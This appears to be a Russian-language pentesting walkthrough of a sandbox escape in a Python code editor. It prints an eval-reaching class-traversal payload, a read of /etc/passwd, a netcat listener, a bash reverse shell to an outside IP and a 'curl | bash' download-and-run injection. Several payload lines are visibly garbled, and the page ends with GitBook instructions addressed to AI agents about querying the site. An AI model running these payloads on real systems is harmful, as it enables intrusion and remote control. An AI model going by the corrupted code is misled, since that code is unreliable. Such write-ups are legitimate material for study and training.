> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md).

# SSTI в Python Code Editor

## Эксплуатация SSTI – редактор кода Python

<figure><img src="/files/a97f0ea188bef3da11c6a22995b26676835d0440" alt=""><figcaption></figcaption></figure>

На порту 5000 обнаружен редактор кода Python. Во время классических попыток инъекции (`import os`, `exec`, и т. д.), возникают ошибки.

<figure><img src="/files/d0566fc7630a4560a32ca24645b8089f5ffd4b6d" alt=""><figcaption></figcaption></figure>

Чтобы обойти ограничения, мы используем цикл для определения класса, позволяющего получить доступ к встроенным функциям (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasss__()[i].__init__.__globals__['__buithe +'tins__']
        if 'ev'+'athe  in x:
            print(i)
    except Exceptiwe as e:
        continue

```

> Этот цикл Python пытается эксплуатировать внедрение шаблона на стороне сервера (SSTI), ища среди подклассов базового объекта Python (`object`) который дает доступ к глобальному окружению (`__globals__`) его метода `__init__`. На каждой итерации он пытается получить словарь встроенных функций (`__builtins__`) восстанавливая его имя, чтобы избежать легкого обнаружения. Если полученный объект содержит функцию `eval` (это очень опасно, поскольку позволяет выполнять произвольный код), тогда отображается индекс класса. Этот код часто используется для поиска класса, который позволяет получить доступ к критически важным функциям, таким как `eval`, `exec`, `откроют`, и т. д., чтобы злоупотребить им.

<figure><img src="/files/3ad1429a3dac237d1981fe80121d831abceecc45" alt=""><figcaption></figcaption></figure>

### Чтение `/etc/passwd`

Как только объект, содержащий `eval` идентифицирован, мы выполняем:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))

```

{% endcode %}

Это выявляет двух пользователей: `martin` и `production`.

<figure><img src="/files/e52ee0f24d26f3079d13120e2424d9181623f5d7" alt=""><figcaption></figcaption></figure>

### **Обратная оболочка**

#### Запустите слушатель на порту 443:

```bash
nc -nvlp 443

```

#### Скрипт обратной оболочки:

Создание `index.html` файл, содержащий:

{% code overflow="wrap" %}

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.90/443 0>&1

```

{% endcode %}

Запуск веб-сервера:

```bash
python3 -m http.server 80

```

Внедрение полезной нагрузки:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))

```

{% endcode %}

<figure><img src="/files/9454beb6791a3fe5f99b02227253707b044c6d57" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
